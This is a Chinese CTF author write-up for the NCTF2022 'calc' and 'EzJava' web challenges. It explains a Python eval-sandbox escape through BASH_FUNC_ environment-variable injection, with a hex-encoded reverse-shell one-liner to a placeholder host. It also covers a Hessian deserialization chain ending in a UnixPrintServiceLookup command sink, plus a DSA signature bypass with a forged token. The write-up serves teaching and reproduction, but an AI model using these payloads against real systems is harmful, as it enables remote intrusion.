NCTF2022
前言
这次的NCTF2022,终于结束了,这次放出的题都是我研究很久的题目,希望各位师傅没有失望。最后题目一个一解,一个0解(不过有师傅赛后做出来了orz
题目环境最后都会放到github,给各位师傅复现 https://github.com/X1cT34m/NCTF2022
calc
这个题,出的很久远了,在上半年的时候这个题就出完了。师傅们都可以在网上搜到由su出题的那次dasctf三月赛,可以看到题目源码是差不多的。当时是被非预期了(虽然这次也被非预期了师傅们太强了)
由于我比较懒,我当时就看到用反引号和注释绕过的,这次上的版本也是就把这2个点过滤了。dockerfile也是用的之前的所以环境的flag都没改所以又被非预期了。
所以在被非预期后直接就上了一个没有可控点的修复版本。
预期
这个题是在p神写了那篇环境注入的文章后不久发现的一个利用。当时仔细想了一下其他语言中是否也存在这样的问题,有没有可能也造成rce。在看完python3的system具体实现后发现最后调用的位置,也是通过/bin/sh -c
去执行的命令
这里完全是可以通过设置环境变量来造成rce的。那么现在的重点就是如何去设置环境变量。因为当前的环境变量在python是直接作为一个字典来储存的,如果我们可以覆盖或者直接赋值的话那么就可以直接达成我们攻击目标。然后我们google一下就可以发现已经有前人发现了这种黑魔法链接
当我们在本地测试的时候却发现使用list生成器和中括号的这种方法无法像他写这样,成功覆盖变量(这里我也觉得很奇怪,我很明确的知道在我刚出这个题的时候这种方法是可以直接覆盖这样的变量的,不知道为什么突然不行了,知道的师傅可以和我交流一下)但是这种遍历赋值的方式对于字典的处理上不太一样,可以直接覆盖指定key的值,所以在对于我们的目标,覆盖os.environ是完全可行的
可以看到是成功添加了一个新的环境变量。
那现在我们的目标就转变为如何绕过关键字去设置我们的环境变量
即设置os.environ['BASH_FUNC_echo%%']='() { id; }'
转化为payload就是[[str][0]for[os.environ['BASH_FUNC_echo%%']]in[['() { id; }']]]
我们可以回顾一下python的ssti相关绕过的知识,只要是字符串通过引号包裹的都可以通过16进制去绕过关键词的检测,所以我们只需要把后面引号中的字符全部16进制编码就好。
接下来的关键点就是在于如何绕过os的waf,这个关键词没有引号包裹无法用进制去绕过。
但实际上python是支持Non-ASCII Identifies也就是说可以使用unicode字符的,具体参考见: https://peps.python.org/pep-3131/ ,也就是说如果我们使用了UTF-8中的非ASCII码作为标识符,那么其会被函数转换为NFKC标准格式,也就是说我们可以使用例如ᵒ
来代替o
,从而绕过限制。所以在全部的碎片都被我们找到后我们就可以拼出这题的exp
1 | [[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]] |
就是这么短短的一行就可以解决掉这个题目了。
非预期
当时加这个可控点是因为想迷惑师傅们一手,我觉得题目有点简单了,怕被秒
就先让师傅们绕一下错误的方向,结果师傅们太强了直接绕穿了。
其实非预期也就是几个问题,如何在eval不报错的情况下把命令传到system中去执行,然后就是如何带出回显。看到师傅们的做法都是通过回车分割命令,用python多行字符串去绕过eval的报错。然后因为是出网环境,操作的方法有很多这里我就不具体说了。可以去看其他师傅的wp。(因为不小心开了debug页面,我发现居然有师傅绕了一大圈读完文件去算pin的Orz
EzJava
这个题是在最近很多比赛都开始出现rpc的反序列化时,我研究了一下hessian的反序列化,然后在只依赖dubbo的情况下发现的一条利用链,链其实很短。不知道师傅们没做出来时卡在哪步了。(当时出完的时间也比较早,一开始也是利用畸形数据直接到toString的,结果发现0ctf直接onlyjdk啦,然后就又再重新看了一遍才有现在这个版本)
这个题的核心问题就是单dubbo下的反序列化利用,其实在最近几个考hessian的题目中我们已经很明确的知道了,在hessian下如果可以触发toString
那么整个利用链是可以直接串起来的。后续利用就如0ctf2022的那道hessian onlyjdk一样。当时的利用都是通过利用hessian的那个cve去触发toString的。那么我们不利用这个cve也可以触发toString么。
其实是可以的,我们去回顾hessian的利用链,其实都直接是通过反序列化XString去触发toSting再和其他的依赖中的链拼起来。(其实也就是喜闻乐见的拼链子)
hessian反序列化中以equals作为起点,通过com.sun.org.apache.xpath.internal.objects.Xstring
的equals触发任意类的toString。
众所周知,fastjson的toString是可以触发任意的getter的。那么这个链其实已经很明显了。现在差一个sink点。因为hessian是有默认黑名单的。大部分可以利用的依赖都在里面。然后我们观察到最近爆出了有个hessian的cve,diff版本改动的时候可以看到黑名单新增了很多类,就sun.print.
是存在于jdk中的。我们就可以在这个里面找到这次的利用类unixPrintServiceLookup(其实这个类的利用网上已经有相应的资料了的,但其实大多资料都有些错误,需要自己去debug排错才能正确利用)而这个类只存在于linux中,对于大部分还是win的我们极其不友好。我当时为了调试这玩意专门弄了个虚拟机装了idea 而且调试这个类也有坑要踩。
关键点在中的第一个if处
我们需要进入这个if去触发红框中的方法,在jdk中这里的这些类都是和打印机相关的一些服务,这里这个if会判断打印服务有没有启动,启动了就直接执行连接,没有就会调用下面的逻辑去启动服务,才会有我们注入命令的可能。
可以看到如果连接成功就会返回true。经过我的测试,在mac,ubuntu中我们这种自用的电脑都大概率存在这个服务。会出现无法rce的情况,而服务器类特别是docker,不存在这样的服务所以就可以打通。poc基于ysomap
poc:
1 | public static HashMap makeMap ( Object v1, Object v2 ) throws Exception{ |
其实应该还有很多类都可以触发任意toString而且hessian不要求继承序列化,可以选择的面就更宽了。更多的就留给感兴趣的师傅们去挖掘了。
然后就是前面的验证签名部分。当时把后面出完感觉有点不太够,加个验证什么的要充实一点。正好看到了CVE-2022-21449这个,想着有没有差不多漏洞原理的漏洞可以利用一下,然后这个cve是jdk高版本才存在的,对于jdk8来说是没有的。所以我就问了一下我们的密码手,然后在网上随便拉了一个dsa签名的java实现作为签名,结果正好啊,这段代码也没有验证特殊数值,直接进行的验签。导致了我们使用1,0可以绕过整个的验签过程,随意伪造token的值。
这里的r和s没有进行验证,就会导致这样的问题。然后下面的hash碰撞也没有什么好说的了,这里直接给出一个hash相同的字符串WelComeToNCTF200p
用eyJBbGliYW5hbmEiOiJXZWxDb21lVG9OQ1RGMjAwcCIsImlzcyI6IlB1cGkxIn0=.1.0
这个token解可以直接绕过验证啦,然后把整个流程串起来,直接反弹shell就可以解出这个题了
调用栈:
1 | getAllPrinterNamesBSD:554, UnixPrintServiceLookup (sun.print) |
后记
总之在比赛中看到各位师傅做自己的题,能和各位师傅交流技术还是很开心的,这才是我心目中CTF应该有的模样。也希望师傅们明年还能来捧场,虽然不知道我还会不会出题了。